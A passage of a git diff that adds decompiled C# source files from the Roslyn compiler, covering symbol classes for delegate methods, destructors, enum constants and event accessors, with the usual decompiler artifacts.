_explicitInterfaceImplementations[0]; + TypeSymbol.CheckModifierMismatchOnImplementingMember(ContainingType, this, interfaceMember, isExplicit: true, diagnostics); + } + } + + [return: NotNullIfNotNull("syntaxOpt")] + private SourceCustomEventAccessorSymbol? CreateAccessorSymbol(CSharpCompilation compilation, AccessorDeclarationSyntax? syntaxOpt, EventSymbol? explicitlyImplementedEventOpt, string? aliasQualifierOpt, BindingDiagnosticBag diagnostics) + { + if (syntaxOpt == null) + { + return null; + } + return new SourceCustomEventAccessorSymbol(this, syntaxOpt, explicitlyImplementedEventOpt, aliasQualifierOpt, compilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)syntaxOpt), diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDelegateClonedParameterSymbolForBeginAndEndInvoke.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDelegateClonedParameterSymbolForBeginAndEndInvoke.cs new file mode 100644 index 0000000..94f7713 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDelegateClonedParameterSymbolForBeginAndEndInvoke.cs @@ -0,0 +1,24 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceDelegateClonedParameterSymbolForBeginAndEndInvoke : SourceClonedParameterSymbol +{ + internal override bool IsCallerFilePath => _originalParam.IsCallerFilePath; + + internal override bool IsCallerLineNumber => _originalParam.IsCallerLineNumber; + + internal override bool IsCallerMemberName => _originalParam.IsCallerMemberName; + + internal override int CallerArgumentExpressionParameterIndex => -1; + + internal SourceDelegateClonedParameterSymbolForBeginAndEndInvoke(SourceParameterSymbol originalParam, SourceDelegateMethodSymbol newOwner, int newOrdinal) + : base(originalParam, newOwner, newOrdinal, suppressOptional: true) + { + } + + internal override ParameterSymbol WithCustomModifiersAndParams(TypeSymbol newType, ImmutableArray newCustomModifiers, ImmutableArray newRefCustomModifiers, bool newIsParams) + { + return new SourceDelegateClonedParameterSymbolForBeginAndEndInvoke(_originalParam.WithCustomModifiersAndParamsCore(newType, newCustomModifiers, newRefCustomModifiers, newIsParams), (SourceDelegateMethodSymbol)ContainingSymbol, Ordinal); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDelegateMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDelegateMethodSymbol.cs new file mode 100644 index 0000000..8b0b8d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDelegateMethodSymbol.cs @@ -0,0 +1,318 @@ +using System; +using System.Collections.Immutable; +using System.Reflection; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceDelegateMethodSymbol : SourceMemberMethodSymbol +{ + private sealed class Constructor : SourceDelegateMethodSymbol + { + public override string Name => ".ctor"; + + protected override bool HasSetsRequiredMembersImpl => false; + + internal Constructor(SourceMemberContainerTypeSymbol delegateType, TypeWithAnnotations voidType, TypeWithAnnotations objectType, TypeWithAnnotations intPtrType, DelegateDeclarationSyntax syntax) + : base(delegateType, voidType, syntax, (MethodKind)1, (RefKind)0, DeclarationModifiers.Public) + { + InitializeParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, objectType, 0, (RefKind)0, "object", (ScopedKind)0), SynthesizedParameterSymbol.Create(this, intPtrType, 1, (RefKind)0, "method", (ScopedKind)0))); + } + + internal override OneOrMany> GetReturnTypeAttributeDeclarations() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(default(SyntaxList)); + } + + internal override LexicalSortKey GetLexicalSortKey() + { + return new LexicalSortKey(syntaxReferenceOpt.GetLocation(), DeclaringCompilation); + } + } + + private sealed class InvokeMethod : SourceDelegateMethodSymbol + { + private readonly ImmutableArray _refCustomModifiers; + + public override string Name => "Invoke"; + + public override ImmutableArray RefCustomModifiers => _refCustomModifiers; + + internal InvokeMethod(SourceMemberContainerTypeSymbol delegateType, RefKind refKind, TypeWithAnnotations returnType, DelegateDeclarationSyntax syntax, Binder binder, BindingDiagnosticBag diagnostics) + : base(delegateType, returnType, syntax, (MethodKind)3, refKind, DeclarationModifiers.Public | DeclarationModifiers.Virtual) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + SyntaxToken arglistToken; + ImmutableArray immutableArray = ParameterHelpers.MakeParameters(binder, this, syntax.ParameterList, out arglistToken, diagnostics, allowRefOrOut: true, allowThis: false, addRefReadOnlyModifier: true); + if (arglistToken.Kind() == SyntaxKind.ArgListKeyword) + { + diagnostics.Add(ErrorCode.ERR_IllegalVarArgs, (Location)new SourceLocation(ref arglistToken)); + } + if ((int)RefKind == 3) + { + NamedTypeSymbol wellKnownType = binder.GetWellKnownType((WellKnownType)273, diagnostics, (SyntaxNode)(object)syntax.ReturnType); + _refCustomModifiers = ImmutableArray.Create(CSharpCustomModifier.CreateRequired(wellKnownType)); + } + else + { + _refCustomModifiers = ImmutableArray.Empty; + } + InitializeParameters(ImmutableArrayExtensions.Cast(immutableArray)); + } + + internal override LexicalSortKey GetLexicalSortKey() + { + return new LexicalSortKey(syntaxReferenceOpt.GetLocation(), DeclaringCompilation); + } + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + Location location = ((DelegateDeclarationSyntax)(object)base.SyntaxRef.GetSyntax(default(CancellationToken))).ReturnType.GetLocation(); + CSharpCompilation declaringCompilation = DeclaringCompilation; + base.AfterAddingTypeMembersChecks(conversions, diagnostics); + if ((int)RefKind == 3) + { + declaringCompilation.EnsureIsReadOnlyAttributeExists(diagnostics, location, modifyCompilation: true); + } + ParameterHelpers.EnsureRefKindAttributesExist(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(base.ReturnType)) + { + declaringCompilation.EnsureNativeIntegerAttributeExists(diagnostics, location, modifyCompilation: true); + } + ParameterHelpers.EnsureNativeIntegerAttributeExists(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + ParameterHelpers.EnsureScopedRefAttributeExists(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + if (declaringCompilation.ShouldEmitNullableAttributes(this) && ReturnTypeWithAnnotations.NeedsNullableAttribute()) + { + declaringCompilation.EnsureNullableAttributeExists(diagnostics, location, modifyCompilation: true); + } + ParameterHelpers.EnsureNullableAttributeExists(declaringCompilation, this, Parameters, diagnostics, modifyCompilation: true); + } + } + + private sealed class BeginInvokeMethod : SourceDelegateMethodSymbol + { + public override string Name => "BeginInvoke"; + + internal BeginInvokeMethod(InvokeMethod invoke, TypeWithAnnotations iAsyncResultType, TypeWithAnnotations objectType, TypeWithAnnotations asyncCallbackType, DelegateDeclarationSyntax syntax) + : base((SourceNamedTypeSymbol)invoke.ContainingType, iAsyncResultType, syntax, (MethodKind)10, (RefKind)0, DeclarationModifiers.Public | DeclarationModifiers.Virtual) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = invoke.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + SourceParameterSymbol sourceParameterSymbol = (SourceParameterSymbol)enumerator.Current; + SourceDelegateClonedParameterSymbolForBeginAndEndInvoke sourceDelegateClonedParameterSymbolForBeginAndEndInvoke = new SourceDelegateClonedParameterSymbolForBeginAndEndInvoke(sourceParameterSymbol, this, sourceParameterSymbol.Ordinal); + instance.Add((ParameterSymbol)sourceDelegateClonedParameterSymbolForBeginAndEndInvoke); + } + int parameterCount = invoke.ParameterCount; + instance.Add(SynthesizedParameterSymbol.Create(this, asyncCallbackType, parameterCount, (RefKind)0, GetUniqueParameterName(instance, "callback"), (ScopedKind)0)); + instance.Add(SynthesizedParameterSymbol.Create(this, objectType, parameterCount + 1, (RefKind)0, GetUniqueParameterName(instance, "object"), (ScopedKind)0)); + InitializeParameters(instance.ToImmutableAndFree()); + } + + internal override OneOrMany> GetReturnTypeAttributeDeclarations() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(default(SyntaxList)); + } + } + + private sealed class EndInvokeMethod : SourceDelegateMethodSymbol + { + private readonly InvokeMethod _invoke; + + protected override SourceMemberMethodSymbol BoundAttributesSource => _invoke; + + public override string Name => "EndInvoke"; + + public override ImmutableArray RefCustomModifiers => _invoke.RefCustomModifiers; + + internal EndInvokeMethod(InvokeMethod invoke, TypeWithAnnotations iAsyncResultType, DelegateDeclarationSyntax syntax) + : base((SourceNamedTypeSymbol)invoke.ContainingType, invoke.ReturnTypeWithAnnotations, syntax, (MethodKind)10, invoke.RefKind, DeclarationModifiers.Public | DeclarationModifiers.Virtual) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + _invoke = invoke; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num = 0; + ImmutableArray.Enumerator enumerator = invoke.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + SourceParameterSymbol sourceParameterSymbol = (SourceParameterSymbol)enumerator.Current; + if ((int)sourceParameterSymbol.RefKind != 0) + { + SourceDelegateClonedParameterSymbolForBeginAndEndInvoke sourceDelegateClonedParameterSymbolForBeginAndEndInvoke = new SourceDelegateClonedParameterSymbolForBeginAndEndInvoke(sourceParameterSymbol, this, num++); + instance.Add((ParameterSymbol)sourceDelegateClonedParameterSymbolForBeginAndEndInvoke); + } + } + instance.Add(SynthesizedParameterSymbol.Create(this, iAsyncResultType, num++, (RefKind)0, GetUniqueParameterName(instance, "result"), (ScopedKind)0)); + InitializeParameters(instance.ToImmutableAndFree()); + } + } + + private ImmutableArray _parameters; + + private readonly TypeWithAnnotations _returnType; + + public sealed override ImmutableArray Parameters => ImmutableArrayExtensions.NullToEmpty(_parameters); + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations => _returnType; + + public sealed override bool IsImplicitlyDeclared => true; + + internal override bool GenerateDebugInfo => false; + + protected sealed override IAttributeTargetSymbol AttributeOwner => (SourceNamedTypeSymbol)ContainingSymbol; + + internal sealed override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.CodeTypeMask; + + protected SourceDelegateMethodSymbol(SourceMemberContainerTypeSymbol delegateType, TypeWithAnnotations returnType, DelegateDeclarationSyntax syntax, MethodKind methodKind, RefKind refKind, DeclarationModifiers declarationModifiers) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + SyntaxReference reference = syntax.GetReference(); + SyntaxToken identifier = syntax.Identifier; + base._002Ector(delegateType, reference, ((SyntaxToken)(ref identifier)).GetLocation(), isIterator: false, (declarationModifiers: declarationModifiers, flags: SourceMemberMethodSymbol.MakeFlags(methodKind, refKind, declarationModifiers, returnType.IsVoidType(), returnsVoidIsSet: true, isExpressionBodied: false, isExtensionMethod: false, isNullableAnalysisEnabled: false, isVarArg: false, isExplicitInterfaceImplementation: false))); + _returnType = returnType; + } + + internal sealed override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceDelegateMethodSymbol.cs", 37); + } + + protected void InitializeParameters(ImmutableArray parameters) + { + _parameters = parameters; + } + + internal static void AddDelegateMembers(SourceMemberContainerTypeSymbol delegateType, ArrayBuilder symbols, DelegateDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Invalid comparison between Unknown and I4 + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Invalid comparison between Unknown and I4 + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Invalid comparison between Unknown and I4 + //IL_02aa: Unknown result type (might be due to invalid IL or missing references) + Binder binder = delegateType.GetBinder(syntax.ParameterList); + TypeSyntax returnType = syntax.ReturnType; + returnType = returnType.SkipScoped(out var _).SkipRefInLocalOrReturn(diagnostics, out var refKind); + TypeWithAnnotations returnType2 = binder.BindType(returnType, diagnostics); + TypeWithAnnotations voidType = TypeWithAnnotations.Create(binder.GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)syntax)); + TypeWithAnnotations objectType = TypeWithAnnotations.Create(binder.GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)syntax)); + TypeWithAnnotations intPtrType = TypeWithAnnotations.Create(binder.GetSpecialType((SpecialType)21, diagnostics, (SyntaxNode)(object)syntax)); + if (returnType2.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + diagnostics.Add(ErrorCode.ERR_MethodReturnCantBeRefAny, ((SyntaxNode)returnType).Location, returnType2.Type); + } + InvokeMethod invokeMethod = new InvokeMethod(delegateType, refKind, returnType2, syntax, binder, diagnostics); + invokeMethod.CheckDelegateVarianceSafety(diagnostics); + symbols.Add((Symbol)invokeMethod); + symbols.Add((Symbol)new Constructor(delegateType, voidType, objectType, intPtrType, syntax)); + if ((int)binder.Compilation.GetSpecialType((SpecialType)42).TypeKind != 6 && (int)binder.Compilation.GetSpecialType((SpecialType)43).TypeKind != 6 && !delegateType.IsCompilationOutputWinMdObj()) + { + TypeWithAnnotations iAsyncResultType = TypeWithAnnotations.Create(binder.GetSpecialType((SpecialType)42, diagnostics, (SyntaxNode)(object)syntax)); + TypeWithAnnotations asyncCallbackType = TypeWithAnnotations.Create(binder.GetSpecialType((SpecialType)43, diagnostics, (SyntaxNode)(object)syntax)); + symbols.Add((Symbol)new BeginInvokeMethod(invokeMethod, iAsyncResultType, objectType, asyncCallbackType, syntax)); + symbols.Add((Symbol)new EndInvokeMethod(invokeMethod, iAsyncResultType, syntax)); + } + if ((int)delegateType.DeclaredAccessibility <= 1) + { + return; + } + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, delegateType.ContainingAssembly); + if (!delegateType.IsNoMoreVisibleThan(invokeMethod.ReturnTypeWithAnnotations, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadVisDelegateReturn, delegateType.GetFirstLocation(), delegateType, invokeMethod.ReturnType); + } + bool flag = delegateType.HasFileLocalTypes(); + if (!flag && invokeMethod.ReturnType.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeDisallowedInSignature, delegateType.GetFirstLocation(), invokeMethod.ReturnType, delegateType); + } + for (int i = 0; i < invokeMethod.Parameters.Length; i++) + { + ParameterSymbol parameterSymbol = invokeMethod.Parameters[i]; + if (!parameterSymbol.TypeWithAnnotations.IsAtLeastAsVisibleAs(delegateType, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadVisDelegateParam, delegateType.GetFirstLocation(), delegateType, parameterSymbol.Type); + } + else if (!flag && parameterSymbol.Type.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeDisallowedInSignature, delegateType.GetFirstLocation(), parameterSymbol.Type, delegateType); + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add(delegateType.GetFirstLocation(), useSiteInfo); + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + } + + public override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + internal sealed override OneOrMany> GetAttributeDeclarations() + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(((SourceNamedTypeSymbol)ContainingSymbol).GetAttributeDeclarations()); + } + + internal sealed override AttributeTargets GetAttributeTarget() + { + return AttributeTargets.Delegate; + } + + private static string GetUniqueParameterName(ArrayBuilder currentParameters, string name) + { + while (!IsUnique(currentParameters, name)) + { + name = "__" + name; + } + return name; + } + + private static bool IsUnique(ArrayBuilder currentParameters, string name) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = currentParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (string.CompareOrdinal(enumerator.Current.Name, name) == 0) + { + return false; + } + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDestructorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDestructorSymbol.cs new file mode 100644 index 0000000..152269a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceDestructorSymbol.cs @@ -0,0 +1,142 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceDestructorSymbol : SourceMemberMethodSymbol +{ + private TypeWithAnnotations _lazyReturnType; + + internal override int ParameterCount => 0; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override TypeWithAnnotations ReturnTypeWithAnnotations + { + get + { + LazyMethodChecks(); + return _lazyReturnType; + } + } + + public override string Name => "Finalize"; + + internal override bool IsMetadataFinal => false; + + internal override bool GenerateDebugInfo => true; + + internal SourceDestructorSymbol(SourceMemberContainerTypeSymbol containingType, DestructorDeclarationSyntax syntax, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(containingType, syntax.GetReference(), GetSymbolLocation(syntax, out var location), SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)syntax.Body), MakeModifiersAndFlags(containingType, syntax, isNullableAnalysisEnabled, location, diagnostics, out var modifierErrors)) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + this.CheckUnsafeModifier(DeclarationModifiers, diagnostics); + bool flag = syntax.Body != null; + bool isExpressionBodied = base.IsExpressionBodied; + SyntaxToken identifier = syntax.Identifier; + if (((SyntaxToken)(ref identifier)).ValueText != containingType.Name) + { + identifier = syntax.Identifier; + diagnostics.Add(ErrorCode.ERR_BadDestructorName, ((SyntaxToken)(ref identifier)).GetLocation()); + } + if ((flag || isExpressionBodied) && IsExtern) + { + diagnostics.Add(ErrorCode.ERR_ExternHasBody, location, this); + } + if (!modifierErrors && !flag && !isExpressionBodied && !IsExtern) + { + diagnostics.Add(ErrorCode.ERR_ConcreteMissingBody, location, this); + } + if (containingType.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_DestructorInStaticClass, location); + } + else if (!containingType.IsReferenceType) + { + diagnostics.Add(ErrorCode.ERR_OnlyClassesCanContainDestructors, location); + } + Symbol.CheckForBlockAndExpressionBody(syntax.Body, syntax.ExpressionBody, syntax, diagnostics); + } + + private static (DeclarationModifiers, Flags) MakeModifiersAndFlags(NamedTypeSymbol containingType, DestructorDeclarationSyntax syntax, bool isNullableAnalysisEnabled, Location location, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + DeclarationModifiers declarationModifiers = MakeModifiers(containingType, syntax.Modifiers, location, diagnostics, out modifierErrors); + Flags item = SourceMemberMethodSymbol.MakeFlags((MethodKind)4, (RefKind)0, declarationModifiers, returnsVoid: true, returnsVoidIsSet: true, syntax.IsExpressionBodied(), isExtensionMethod: false, isNullableAnalysisEnabled, isVarArg: false, isExplicitInterfaceImplementation: false); + return (declarationModifiers, item); + } + + private static Location GetSymbolLocation(DestructorDeclarationSyntax syntax, out Location location) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = syntax.Identifier; + location = ((SyntaxToken)(ref identifier)).GetLocation(); + return location; + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + DestructorDeclarationSyntax syntax = GetSyntax(); + Binder binder = DeclaringCompilation.GetBinderFactory(syntaxReferenceOpt.SyntaxTree).GetBinder((SyntaxNode)(object)syntax, syntax, this); + _lazyReturnType = TypeWithAnnotations.Create(binder.GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)syntax)); + } + + internal DestructorDeclarationSyntax GetSyntax() + { + return (DestructorDeclarationSyntax)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return TryGetBodyBinderFromSyntax(binderFactoryOpt, ignoreAccessibility); + } + + public override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + private static DeclarationModifiers MakeModifiers(NamedTypeSymbol containingType, SyntaxTokenList modifiers, Location location, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return (DeclarationModifiers)(((uint)ModifierUtils.MakeAndCheckNonTypeMemberModifiers(isOrdinaryMethod: false, containingType.IsInterface, modifiers, DeclarationModifiers.None, DeclarationModifiers.Extern | DeclarationModifiers.Unsafe, location, diagnostics, out modifierErrors) & 0xFFFFFC0Fu) | 0x20); + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(GetSyntax().AttributeLists); + } + + internal override OneOrMany> GetReturnTypeAttributeDeclarations() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(default(SyntaxList)); + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return true; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return (object)ContainingType.BaseTypeNoUseSiteDiagnostics == null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEnumConstantSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEnumConstantSymbol.cs new file mode 100644 index 0000000..292c78e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEnumConstantSymbol.cs @@ -0,0 +1,162 @@ +using System.Collections.Generic; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceEnumConstantSymbol : SourceFieldSymbolWithSyntaxReference +{ + private sealed class ZeroValuedEnumConstantSymbol : SourceEnumConstantSymbol + { + public ZeroValuedEnumConstantSymbol(SourceMemberContainerTypeSymbol containingEnum, EnumMemberDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + : base(containingEnum, syntax, diagnostics) + { + } + + protected override ConstantValue MakeConstantValue(HashSet dependencies, bool earlyDecodingWellKnownAttributes, BindingDiagnosticBag diagnostics) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return ConstantValue.Default(ContainingType.EnumUnderlyingType.SpecialType); + } + } + + private sealed class ExplicitValuedEnumConstantSymbol : SourceEnumConstantSymbol + { + public ExplicitValuedEnumConstantSymbol(SourceMemberContainerTypeSymbol containingEnum, EnumMemberDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + : base(containingEnum, syntax, diagnostics) + { + } + + protected override ConstantValue MakeConstantValue(HashSet dependencies, bool earlyDecodingWellKnownAttributes, BindingDiagnosticBag diagnostics) + { + EnumMemberDeclarationSyntax syntaxNode = base.SyntaxNode; + return ConstantValueUtils.EvaluateFieldConstant(this, syntaxNode.EqualsValue, dependencies, earlyDecodingWellKnownAttributes, diagnostics); + } + } + + private sealed class ImplicitValuedEnumConstantSymbol : SourceEnumConstantSymbol + { + private readonly SourceEnumConstantSymbol _otherConstant; + + private readonly uint _otherConstantOffset; + + public ImplicitValuedEnumConstantSymbol(SourceMemberContainerTypeSymbol containingEnum, EnumMemberDeclarationSyntax syntax, SourceEnumConstantSymbol otherConstant, uint otherConstantOffset, BindingDiagnosticBag diagnostics) + : base(containingEnum, syntax, diagnostics) + { + _otherConstant = otherConstant; + _otherConstantOffset = otherConstantOffset; + } + + protected override ConstantValue MakeConstantValue(HashSet dependencies, bool earlyDecodingWellKnownAttributes, BindingDiagnosticBag diagnostics) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + ConstantValue constantValue = _otherConstant.GetConstantValue(new ConstantFieldsInProgress(this, dependencies), earlyDecodingWellKnownAttributes); + if (constantValue == ConstantValue.Unset) + { + return ConstantValue.Unset; + } + if (constantValue.IsBad) + { + return ConstantValue.Bad; + } + ConstantValue result = default(ConstantValue); + if ((int)EnumConstantHelper.OffsetValue(constantValue, _otherConstantOffset, ref result) == 1) + { + diagnostics.Add(ErrorCode.ERR_EnumeratorOverflow, GetFirstLocation(), this); + } + return result; + } + } + + public sealed override RefKind RefKind => (RefKind)0; + + public override Symbol AssociatedSymbol => null; + + protected sealed override DeclarationModifiers Modifiers => DeclarationModifiers.Static | DeclarationModifiers.Public | DeclarationModifiers.Const; + + public new EnumMemberDeclarationSyntax SyntaxNode => (EnumMemberDeclarationSyntax)base.SyntaxNode; + + protected override SyntaxList AttributeDeclarationSyntaxList + { + get + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (containingType.AnyMemberHasAttributes) + { + return SyntaxNode.AttributeLists; + } + return default(SyntaxList); + } + } + + public static SourceEnumConstantSymbol CreateExplicitValuedConstant(SourceMemberContainerTypeSymbol containingEnum, EnumMemberDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + { + return new ExplicitValuedEnumConstantSymbol(containingEnum, syntax, diagnostics); + } + + public static SourceEnumConstantSymbol CreateImplicitValuedConstant(SourceMemberContainerTypeSymbol containingEnum, EnumMemberDeclarationSyntax syntax, SourceEnumConstantSymbol otherConstant, int otherConstantOffset, BindingDiagnosticBag diagnostics) + { + if ((object)otherConstant == null) + { + return new ZeroValuedEnumConstantSymbol(containingEnum, syntax, diagnostics); + } + return new ImplicitValuedEnumConstantSymbol(containingEnum, syntax, otherConstant, (uint)otherConstantOffset, diagnostics); + } + + protected SourceEnumConstantSymbol(SourceMemberContainerTypeSymbol containingEnum, EnumMemberDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = syntax.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + SyntaxReference reference = syntax.GetReference(); + identifier = syntax.Identifier; + base._002Ector(containingEnum, valueText, reference, ((SyntaxToken)(ref identifier)).Span); + if (Name == "value__") + { + diagnostics.Add(ErrorCode.ERR_ReservedEnumerator, ErrorLocation, "value__"); + } + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return TypeWithAnnotations.Create(ContainingType); + } + + internal sealed override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Attributes: + GetAttributes(); + break; + case CompletionPart.Type: + state.NotePartComplete(CompletionPart.Type); + break; + case CompletionPart.Members: + state.NotePartComplete(CompletionPart.Members); + break; + case CompletionPart.TypeMembers: + GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + break; + case CompletionPart.None: + return; + default: + state.NotePartComplete(CompletionPart.ImportsAll | CompletionPart.ReturnTypeAttributes | CompletionPart.Parameters | CompletionPart.StartInterfaces | 